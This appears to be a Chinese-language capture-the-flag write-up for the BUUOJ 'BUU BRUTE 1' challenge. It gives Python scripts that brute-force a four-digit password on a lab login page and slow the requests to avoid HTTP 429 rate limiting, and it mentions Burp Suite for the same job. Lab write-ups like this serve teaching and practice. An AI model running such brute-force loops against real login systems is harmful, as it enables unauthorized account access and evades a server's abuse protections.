BUUOJ-BUU BRUTE 1 1

发布时间 2023-04-01 09:56:00作者: 林序

提示是个暴力破解的题

 

 输入常见的admin/admin,

 

 用户名admin正确,使用脚本爆破4位数字密码。

import requests

url = "http://277804f0-9c85-43ee-a853-0c10711e526f.node4.buuoj.cn:81/?username=admin&password="

for i in range(1000,10000):
    res = requests.get(url + str(i))
    print("[*]Try:",i)
    if res.text!="密码错误,为四位数字。":
        print("***爆破成功***")
        print(res.text)
        break

 

 

 Too Many Reqests! 服务端检测到过快的登录尝试,进行了屏蔽。猜测是短时间爆破的次数太多了,对应的解决方法,是减少并发线程数和每次访问的时间间隔。

在HTTP协议中,响应状态码 429 Too Many Requests 表示在一定的时间内用户发送了太多的请求,即超出了“频次限制”。在响应中,可以提供一个 Retry-After 首部来提示用户需要等待多长时间之后再发送新的请求。

服务器不主动拒绝请求,不封ip,但是会限制请求频率,所有我们要尊重服务器的设置,适当降低请求频率,不要试图解决它。

这里调用python的time库:

Python time sleep() 函数推迟调用线程的运行,可通过参数secs指秒数,表示进程挂起的时间。

import requests
import time

url = "http://277804f0-9c85-43ee-a853-0c10711e526f.node4.buuoj.cn:81/?username=admin&password="

for i in range(1000,10000):
    res = requests.get(url + str(i))
    print("[*]Try:",i)
    time.sleep(1)
    if res.text!="密码错误,为四位数字。":
        print("***爆破成功***")
        print(res.text)
        break

 

 

 这次倒是不会报429,但是比较慢,可以挂载后台让它慢慢跑。如果把间隔的时间再缩短一点比如0.5秒,0.4秒,可能也不会报错。

【脚本这里其实只考虑到了1000以上的4位数,没有包含类似0010这样的4位数组合】

 

也可以使用burpsuite爆破:(options的request engine中设置请求线程数)